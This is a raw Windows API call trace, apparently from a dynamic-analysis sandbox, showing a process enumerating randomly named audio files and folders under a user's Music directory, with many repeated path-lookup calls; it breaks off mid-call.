lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33045b0, ftCreationTime.dwHighDateTime=0x1d5dee7, ftLastAccessTime.dwLowDateTime=0x145a0450, ftLastAccessTime.dwHighDateTime=0x1d5e7dd, ftLastWriteTime.dwLowDateTime=0x145a0450, ftLastWriteTime.dwHighDateTime=0x1d5e7dd, nFileSizeHigh=0x0, nFileSizeLow=0xcc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMS4hTHknryzOdZcs.m4a", cAlternateFileName="GMS4HT~1.M4A")) returned 1 [0080.399] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1659670, ftCreationTime.dwHighDateTime=0x1d5e3b1, ftLastAccessTime.dwLowDateTime=0x4426f660, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0x4426f660, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KEfupT", cAlternateFileName="")) returned 1 [0080.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e7e0) returned 1 [0080.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", nBufferLength=0x105, lpBuffer=0x1ca2e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT", lpFilePart=0x0) returned 0x56 [0080.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\", nBufferLength=0x105, lpBuffer=0x1ca2e270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\", lpFilePart=0x0) returned 0x57 [0080.401] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\*", lpFindFileData=0x1ca2e480 | out: lpFindFileData=0x1ca2e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1659670, ftCreationTime.dwHighDateTime=0x1d5e3b1, ftLastAccessTime.dwLowDateTime=0x4426f660, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0x4426f660, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a8f0 [0080.401] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1659670, ftCreationTime.dwHighDateTime=0x1d5e3b1, ftLastAccessTime.dwLowDateTime=0x4426f660, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0x4426f660, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.402] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28a2550, ftCreationTime.dwHighDateTime=0x1d5e4da, ftLastAccessTime.dwLowDateTime=0x4504cb30, ftLastAccessTime.dwHighDateTime=0x1d5e16b, ftLastWriteTime.dwLowDateTime=0x4504cb30, ftLastWriteTime.dwHighDateTime=0x1d5e16b, nFileSizeHigh=0x0, nFileSizeLow=0x7d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="3fLv6rZIwElAf.mp3", cAlternateFileName="3FLV6R~1.MP3")) returned 1 [0080.402] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c925370, ftCreationTime.dwHighDateTime=0x1d5dc73, ftLastAccessTime.dwLowDateTime=0x92bf0330, ftLastAccessTime.dwHighDateTime=0x1d5ddf7, ftLastWriteTime.dwLowDateTime=0x92bf0330, ftLastWriteTime.dwHighDateTime=0x1d5ddf7, nFileSizeHigh=0x0, nFileSizeLow=0x17642, dwReserved0=0x0, dwReserved1=0x0, cFileName="FWq1O.mp3", cAlternateFileName="")) returned 1 [0080.402] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c925370, ftCreationTime.dwHighDateTime=0x1d5dc73, ftLastAccessTime.dwLowDateTime=0x92bf0330, ftLastAccessTime.dwHighDateTime=0x1d5ddf7, ftLastWriteTime.dwLowDateTime=0x92bf0330, ftLastWriteTime.dwHighDateTime=0x1d5ddf7, nFileSizeHigh=0x0, nFileSizeLow=0x17642, dwReserved0=0x0, dwReserved1=0x0, cFileName="FWq1O.mp3", cAlternateFileName="")) returned 0 [0080.402] FindClose (in: hFindFile=0x1a62a8f0 | out: hFindFile=0x1a62a8f0) returned 1 [0080.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e7c0) returned 1 [0080.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e7b0) returned 1 [0080.402] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee8b780, ftCreationTime.dwHighDateTime=0x1d5e6b5, ftLastAccessTime.dwLowDateTime=0x691b60d0, ftLastAccessTime.dwHighDateTime=0x1d5d8e5, ftLastWriteTime.dwLowDateTime=0x691b60d0, ftLastWriteTime.dwHighDateTime=0x1d5d8e5, nFileSizeHigh=0x0, nFileSizeLow=0x14ab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="kxNNw5kgU Ui.mp3", cAlternateFileName="KXNNW5~1.MP3")) returned 1 [0080.403] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1a3ca0, ftCreationTime.dwHighDateTime=0x1d5e04d, ftLastAccessTime.dwLowDateTime=0x5295f4f0, ftLastAccessTime.dwHighDateTime=0x1d5db7a, ftLastWriteTime.dwLowDateTime=0x5295f4f0, ftLastWriteTime.dwHighDateTime=0x1d5db7a, nFileSizeHigh=0x0, nFileSizeLow=0x8f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nud8XnSODBvwpirVJL.wav", cAlternateFileName="NUD8XN~1.WAV")) returned 1 [0080.403] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56982fd0, ftCreationTime.dwHighDateTime=0x1d5db18, ftLastAccessTime.dwLowDateTime=0x1f0ebc70, ftLastAccessTime.dwHighDateTime=0x1d5dd96, ftLastWriteTime.dwLowDateTime=0x1f0ebc70, ftLastWriteTime.dwHighDateTime=0x1d5dd96, nFileSizeHigh=0x0, nFileSizeLow=0x1d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VwsKjpsERhsNZ0.m4a", cAlternateFileName="VWSKJP~1.M4A")) returned 1 [0080.403] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56982fd0, ftCreationTime.dwHighDateTime=0x1d5db18, ftLastAccessTime.dwLowDateTime=0x1f0ebc70, ftLastAccessTime.dwHighDateTime=0x1d5dd96, ftLastWriteTime.dwLowDateTime=0x1f0ebc70, ftLastWriteTime.dwHighDateTime=0x1d5dd96, nFileSizeHigh=0x0, nFileSizeLow=0x1d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VwsKjpsERhsNZ0.m4a", cAlternateFileName="VWSKJP~1.M4A")) returned 0 [0080.403] FindClose (in: hFindFile=0x1a62a890 | out: hFindFile=0x1a62a890) returned 1 [0080.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e820) returned 1 [0080.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e810) returned 1 [0080.404] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd683f0c0, ftCreationTime.dwHighDateTime=0x1d5e280, ftLastAccessTime.dwLowDateTime=0x93b8d270, ftLastAccessTime.dwHighDateTime=0x1d5de79, ftLastWriteTime.dwLowDateTime=0x93b8d270, ftLastWriteTime.dwHighDateTime=0x1d5de79, nFileSizeHigh=0x0, nFileSizeLow=0x12c5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CkwJBoIT0cORasvMqY.mp3", cAlternateFileName="CKWJBO~1.MP3")) returned 1 [0080.404] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2946d150, ftCreationTime.dwHighDateTime=0x1d5d7bf, ftLastAccessTime.dwLowDateTime=0xbb09ad90, ftLastAccessTime.dwHighDateTime=0x1d5dc6c, ftLastWriteTime.dwLowDateTime=0xbb09ad90, ftLastWriteTime.dwHighDateTime=0x1d5dc6c, nFileSizeHigh=0x0, nFileSizeLow=0x15c8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HLz iNJNAO.mp3", cAlternateFileName="HLZINJ~1.MP3")) returned 1 [0080.404] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca39c00, ftCreationTime.dwHighDateTime=0x1d5dc74, ftLastAccessTime.dwLowDateTime=0x24be6bc0, ftLastAccessTime.dwHighDateTime=0x1d5d7fb, ftLastWriteTime.dwLowDateTime=0x24be6bc0, ftLastWriteTime.dwHighDateTime=0x1d5d7fb, nFileSizeHigh=0x0, nFileSizeLow=0xefe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMG8CWg2GPpV.m4a", cAlternateFileName="IMG8CW~1.M4A")) returned 1 [0080.404] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d1eb760, ftCreationTime.dwHighDateTime=0x1d5da35, ftLastAccessTime.dwLowDateTime=0xb413f980, ftLastAccessTime.dwHighDateTime=0x1d5dec1, ftLastWriteTime.dwLowDateTime=0xb413f980, ftLastWriteTime.dwHighDateTime=0x1d5dec1, nFileSizeHigh=0x0, nFileSizeLow=0x11407, dwReserved0=0x0, dwReserved1=0x0, cFileName="pfW0am0QS.mp3", cAlternateFileName="PFW0AM~1.MP3")) returned 1 [0080.404] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d1eb760, ftCreationTime.dwHighDateTime=0x1d5da35, ftLastAccessTime.dwLowDateTime=0xb413f980, ftLastAccessTime.dwHighDateTime=0x1d5dec1, ftLastWriteTime.dwLowDateTime=0xb413f980, ftLastWriteTime.dwHighDateTime=0x1d5dec1, nFileSizeHigh=0x0, nFileSizeLow=0x11407, dwReserved0=0x0, dwReserved1=0x0, cFileName="pfW0am0QS.mp3", cAlternateFileName="PFW0AM~1.MP3")) returned 0 [0080.405] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.405] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fda7c70, ftCreationTime.dwHighDateTime=0x1d5dec4, ftLastAccessTime.dwLowDateTime=0xe06b050, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0xe06b050, ftLastWriteTime.dwHighDateTime=0x1d5e7f9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xu as", cAlternateFileName="XUAS~1")) returned 1 [0080.405] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0080.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 